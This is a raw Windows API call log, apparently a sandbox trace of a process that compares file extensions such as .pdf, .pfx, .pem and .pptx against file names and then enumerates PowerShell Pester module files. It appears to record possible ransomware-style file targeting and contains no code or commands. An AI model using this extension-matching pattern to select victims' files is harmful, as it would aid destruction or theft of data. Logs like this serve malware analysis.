	[0161.519] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".one") returned 4
	[0161.519] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1
	[0161.519] lstrlenW (lpString=".onepkg") returned 7
	[0161.519] lstrcmpiW (lpString1=".onepkg", lpString2=".Be.ps1") returned 1
	[0161.519] lstrlenW (lpString=".onetoc2") returned 8
	[0161.520] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1
	[0161.520] lstrlenW (lpString=".opt") returned 4
	[0161.520] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".oqy") returned 4
	[0161.520] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".orf") returned 4
	[0161.520] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".p12") returned 4
	[0161.520] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".p7b") returned 4
	[0161.520] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".p7c") returned 4
	[0161.520] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pam") returned 4
	[0161.520] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pbm") returned 4
	[0161.520] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pct") returned 4
	[0161.520] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pcx") returned 4
	[0161.520] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pdd") returned 4
	[0161.520] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1
	[0161.520] lstrlenW (lpString=".pdf") returned 4
	[0161.520] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pdp") returned 4
	[0161.521] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pef") returned 4
	[0161.521] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pem") returned 4
	[0161.521] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pff") returned 4
	[0161.521] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pfm") returned 4
	[0161.521] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pfx") returned 4
	[0161.521] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".pgm") returned 4
	[0161.521] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".php") returned 4
	[0161.521] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1
	[0161.521] lstrlenW (lpString=".php3") returned 5
	[0161.521] lstrcmpiW (lpString1=".php3", lpString2="e.ps1") returned -1
	[0161.521] lstrlenW (lpString=".php4") returned 5
	[0161.521] lstrcmpiW (lpString1=".php4", lpString2="e.ps1") returned -1
	[0161.521] lstrlenW (lpString=".php5") returned 5
	[0161.521] lstrcmpiW (lpString1=".php5", lpString2="e.ps1") returned -1
	[0161.521] lstrlenW (lpString=".phtml") returned 6
	[0161.521] lstrcmpiW (lpString1=".phtml", lpString2="Be.ps1") returned -1
	[0161.522] lstrlenW (lpString=".pict") returned 5
	[0161.522] lstrcmpiW (lpString1=".pict", lpString2="e.ps1") returned -1
	[0161.522] lstrlenW (lpString=".pl") returned 3
	[0161.522] lstrcmpiW (lpString1=".pl", lpString2="ps1") returned -1
	[0161.522] lstrlenW (lpString=".pls") returned 4
	[0161.522] lstrcmpiW (lpString1=".pls", lpString2=".ps1") returned -1
	[0161.522] lstrlenW (lpString=".pm") returned 3
	[0161.522] lstrcmpiW (lpString1=".pm", lpString2="ps1") returned -1
	[0161.522] lstrlenW (lpString=".png") returned 4
	[0161.522] lstrcmpiW (lpString1=".png", lpString2=".ps1") returned -1
	[0161.522] lstrlenW (lpString=".pnm") returned 4
	[0161.522] lstrcmpiW (lpString1=".pnm", lpString2=".ps1") returned -1
	[0161.522] lstrlenW (lpString=".pot") returned 4
	[0161.522] lstrcmpiW (lpString1=".pot", lpString2=".ps1") returned -1
	[0161.522] lstrlenW (lpString=".potm") returned 5
	[0161.522] lstrcmpiW (lpString1=".potm", lpString2="e.ps1") returned -1
	[0161.522] lstrlenW (lpString=".potx") returned 5
	[0161.522] lstrcmpiW (lpString1=".potx", lpString2="e.ps1") returned -1
	[0161.522] lstrlenW (lpString=".ppa") returned 4
	[0161.522] lstrcmpiW (lpString1=".ppa", lpString2=".ps1") returned -1
	[0161.522] lstrlenW (lpString=".ppam") returned 5
	[0161.522] lstrcmpiW (lpString1=".ppam", lpString2="e.ps1") returned -1
	[0161.522] lstrlenW (lpString=".ppm") returned 4
	[0161.522] lstrcmpiW (lpString1=".ppm", lpString2=".ps1") returned -1
	[0161.523] lstrlenW (lpString=".pps") returned 4
	[0161.523] lstrcmpiW (lpString1=".pps", lpString2=".ps1") returned -1
	[0161.523] lstrlenW (lpString=".ppsm") returned 5
	[0161.523] lstrcmpiW (lpString1=".ppsm", lpString2="e.ps1") returned -1
	[0161.523] lstrlenW (lpString=".ppt") returned 4
	[0161.523] lstrcmpiW (lpString1=".ppt", lpString2=".ps1") returned -1
	[0161.523] lstrlenW (lpString=".pptm") returned 5
	[0161.523] lstrcmpiW (lpString1=".pptm", lpString2="e.ps1") returned -1
	[0161.523] lstrlenW (lpString=".pptx") returned 5
	[0161.523] lstrcmpiW (lpString1=".pptx", lpString2="e.ps1") returned -1
	[0161.523] lstrlenW (lpString=".prn") returned 4
	[0161.523] lstrcmpiW (lpString1=".prn", lpString2=".ps1") returned -1
	[0161.523] lstrlenW (lpString=".ps") returned 3
	[0161.523] lstrcmpiW (lpString1=".ps", lpString2="ps1") returned -1
	[0161.523] lstrlenW (lpString=".psb") returned 4
	[0161.523] lstrcmpiW (lpString1=".psb", lpString2=".ps1") returned 1
	[0161.523] lstrlenW (lpString=".psd") returned 4
	[0161.523] lstrcmpiW (lpString1=".psd", lpString2=".ps1") returned 1
	[0161.523] lstrlenW (lpString=".pst") returned 4
	[0161.523] lstrcmpiW (lpString1=".pst", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".ptx") returned 4
	[0161.524] lstrcmpiW (lpString1=".ptx", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".pub") returned 4
	[0161.524] lstrcmpiW (lpString1=".pub", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".pwm") returned 4
	[0161.524] lstrcmpiW (lpString1=".pwm", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".pxr") returned 4
	[0161.524] lstrcmpiW (lpString1=".pxr", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".py") returned 3
	[0161.524] lstrcmpiW (lpString1=".py", lpString2="ps1") returned -1
	[0161.524] lstrlenW (lpString=".qt") returned 3
	[0161.524] lstrcmpiW (lpString1=".qt", lpString2="ps1") returned -1
	[0161.524] lstrlenW (lpString=".r3d") returned 4
	[0161.524] lstrcmpiW (lpString1=".r3d", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".raf") returned 4
	[0161.524] lstrcmpiW (lpString1=".raf", lpString2=".ps1") returned 1
	[0161.524] lstrlenW (lpString=".rar") returned 4
	[0161.524] lstrcmpiW (lpString1=".rar", lpString2=".ps1") returned 1
	[0161.524] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1
	[0161.525] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96efdfa3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96efdfa3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x573, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeOfType.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e8b875, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e8b875, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96efdfa3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Set-TestInconclusive.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0161.528] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0161.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0161.529] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.529] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0161.529] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
